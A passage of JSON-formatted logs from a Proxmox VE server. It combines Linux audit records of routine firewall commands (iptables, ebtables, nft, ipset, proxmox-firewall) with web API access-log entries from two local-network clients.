exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195515,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.515:68832): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc3033a1c0 a1=6322306c31c0 a2=6322306a1680 a3=5 items=1 ppid=66097 pid=66098 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964671680,"@rawstring":"node=pve type=EXECVE msg=audit(1781964671.680:62082): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781966305820,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966305.820:69255): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e0600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66489 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965984996,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965984.996:67936): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65241 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585835,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965585.835:66241): table=filter family=7 entries=4 op=xt_replace pid=63620 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965046555,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:17:25 +0100] \"GET /api2/extjs/access/domains?_dc=1781965044977 HTTP/1.1\" 200 214"} {"@timestamp":1781966315887,"@rawstring":"node=pve type=EXECVE msg=audit(1781966315.887:69283): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964703658,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964278581,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964278.581:60350): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57945 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965648729,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:27 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781966190741,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966190.741:68822): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66087 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964671639,"@rawstring":"node=pve type=EXECVE msg=audit(1781964671.639:62080): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781966305817,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966305.817:69254): arch=c000003e syscall=59 success=yes exit=0 a0=5d4a5b45eb20 a1=5d4a5b46a9f0 a2=5d4a5b438680 a3=5 items=2 ppid=66482 pid=66488 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965984996,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965984.996:67935): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65241 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575496,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965575.496:66199): table=filter family=7 entries=4 op=xt_replace pid=63581 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965046555,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:17:25 +0100] \"POST /api2/json/access/ticket HTTP/1.1\" 200 796"} {"@timestamp":1781966315886,"@rawstring":"node=pve type=EXECVE msg=audit(1781966315.886:69282): argc=1 a0=\"date\""} {"@timestamp":1781964702678,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:41 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 844"} {"@timestamp":1781964278573,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964278.573:60347): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57944 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965648729,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:27 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966190741,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966190.741:68821): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66087 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964670233,"@rawstring":"node=pve type=EXECVE msg=audit(1781964670.233:62079): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966305814,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966305.814:69253): arch=c000003e syscall=59 success=yes exit=0 a0=5d4a278b5ac8 a1=7ffe340542e0 a2=5d4a5b438680 a3=5d4a2789924e items=2 ppid=66482 pid=66484 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965984984,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965984.984:67933): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65240 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565318,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965565.318:66157): table=filter family=7 entries=4 op=xt_replace pid=63542 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965044493,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:17:23 +0100] \"GET /pve2/images/logo-128.png HTTP/1.1\" 200 4977"} {"@timestamp":1781966315882,"@rawstring":"node=pve type=EXECVE msg=audit(1781966315.882:69280): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964700686,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781964275612,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.612:60344): arch=c000003e syscall=59 success=yes exit=0 a0=64faa50ebed0 a1=64faa50e8c50 a2=64faa50ca680 a3=5 items=2 ppid=57937 pid=57943 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965647823,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:27 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964670222,"@rawstring":"node=pve type=EXECVE msg=audit(1781964670.222:62076): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966305813,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966305.813:69252): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe340542a0 a1=5d4a5b45a1c0 a2=5d4a5b438680 a3=5 items=2 ppid=66482 pid=66483 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966190732,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966190.732:68819): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66086 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965984983,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965984.983:67932): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65240 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555144,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965555.144:66115): table=filter family=7 entries=4 op=xt_replace pid=63499 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965042407,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:17:21 +0100] \"GET /pve2/ext6/theme-crisp/resources/images/sizer/nw-handle.png HTTP/1.1\" 200 950"} {"@timestamp":1781966315877,"@rawstring":"node=pve type=EXECVE msg=audit(1781966315.877:69279): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964700686,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1081"} {"@timestamp":1781964275608,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.608:60343): arch=c000003e syscall=59 success=yes exit=0 a0=64fa9f5eaac8 a1=7ffe41a29670 a2=64faa50ca680 a3=64fa9f5ce24e items=2 ppid=57937 pid=57939 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965647823,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:26 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781964667874,"@rawstring":"node=pve type=EXECVE msg=audit(1781964667.874:62071): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781966305809,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966305.809:69250): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66482 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966190731,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966190.731:68818): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66086 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965979977,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965979.977:67928): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65233 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545964,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965545.964:66073): table=filter family=7 entries=4 op=xt_replace pid=63460 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965042407,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:17:21 +0100] \"GET /pve2/ext6/theme-crisp/resources/images/sizer/sw-handle.png HTTP/1.1\" 200 950"} {"@timestamp":1781966315872,"@rawstring":"node=pve type=EXECVE msg=audit(1781966315.872:69278): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964700686,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1081"} {"@timestamp":1781964275606,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.606:60342): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe41a29630 a1=64faa50d1310 a2=64faa50ca680 a3=5 items=2 ppid=57937 pid=57938 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646494,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:25 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 949"} {"@timestamp":1781964667833,"@rawstring":"node=pve type=EXECVE msg=audit(1781964667.833:62069): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781966305804,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966305.804:69249): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ca910 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66481 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185725,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.725:68816): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66085 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965979977,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965979.977:67927): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65233 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535672,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965535.672:66028): table=filter family=7 entries=4 op=xt_replace pid=63416 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965042407,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:17:21 +0100] \"GET /pve2/ext6/theme-crisp/resources/images/sizer/se-handle.png HTTP/1.1\" 200 953"} {"@timestamp":1781966315866,"@rawstring":"node=pve type=EXECVE msg=audit(1781966315.866:69277): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964699640,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 464"} {"@timestamp":1781964275601,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.601:60340): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57937 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646494,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1107"} {"@timestamp":1781964665214,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.214:62068): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966305798,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966305.798:69248): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66480 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185725,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.725:68815): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66085 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965979971,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965979.971:67925): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65232 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525367,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965525.367:65986): table=filter family=7 entries=4 op=xt_replace pid=63377 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965042407,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:17:21 +0100] \"GET /pve2/ext6/theme-crisp/resources/images/sizer/ne-handle.png HTTP/1.1\" 200 951"} {"@timestamp":1781966315862,"@rawstring":"node=pve type=EXECVE msg=audit(1781966315.862:69276): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964697738,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:36 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964275595,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.595:60339): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57936 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965644789,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:24 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964665207,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.207:62065): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966305791,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966305.791:69247): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66479 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185720,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.720:68813): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66084 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965979971,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965979.971:67924): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65232 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515161,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965515.161:65944): table=filter family=7 entries=4 op=xt_replace pid=63338 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965042407,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:17:21 +0100] \"GET /pve2/ext6/theme-crisp/resources/images/sizer/s-handle.png HTTP/1.1\" 200 939"} {"@timestamp":1781966315855,"@rawstring":"node=pve type=EXECVE msg=audit(1781966315.855:69275): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964697738,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:36 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1081"} {"@timestamp":1781964275588,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.588:60338): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57935 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965644789,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:23 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 931"} {"@timestamp":1781964665159,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.159:62062): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966305784,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966305.784:69246): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66478 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185720,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.720:68812): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66084 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975905,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.905:67920): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcbcb6bd00 a1=5a4e67c90410 a2=5a4e67c6e680 a3=5 items=1 ppid=65225 pid=65226 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505940,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965505.940:65902): table=filter family=7 entries=4 op=xt_replace pid=63298 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965042407,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:17:21 +0100] \"GET /pve2/ext6/theme-crisp/resources/images/sizer/e-handle.png HTTP/1.1\" 200 946"} {"@timestamp":1781966315849,"@rawstring":"node=pve type=EXECVE msg=audit(1781966315.849:69274): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964696626,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1081"} {"@timestamp":1781964275581,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.581:60337): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57934 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965643773,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964665155,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.155:62061): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966305778,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966305.778:69245): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66477 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185446,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.446:68808): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe6ab68320 a1=5c47e13593d0 a2=5c47e1337680 a3=5 items=1 ppid=66077 pid=66078 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975804,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.804:67902): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcc0dc00f0 a1=56e10788b310 a2=56e107884680 a3=5 items=1 ppid=65206 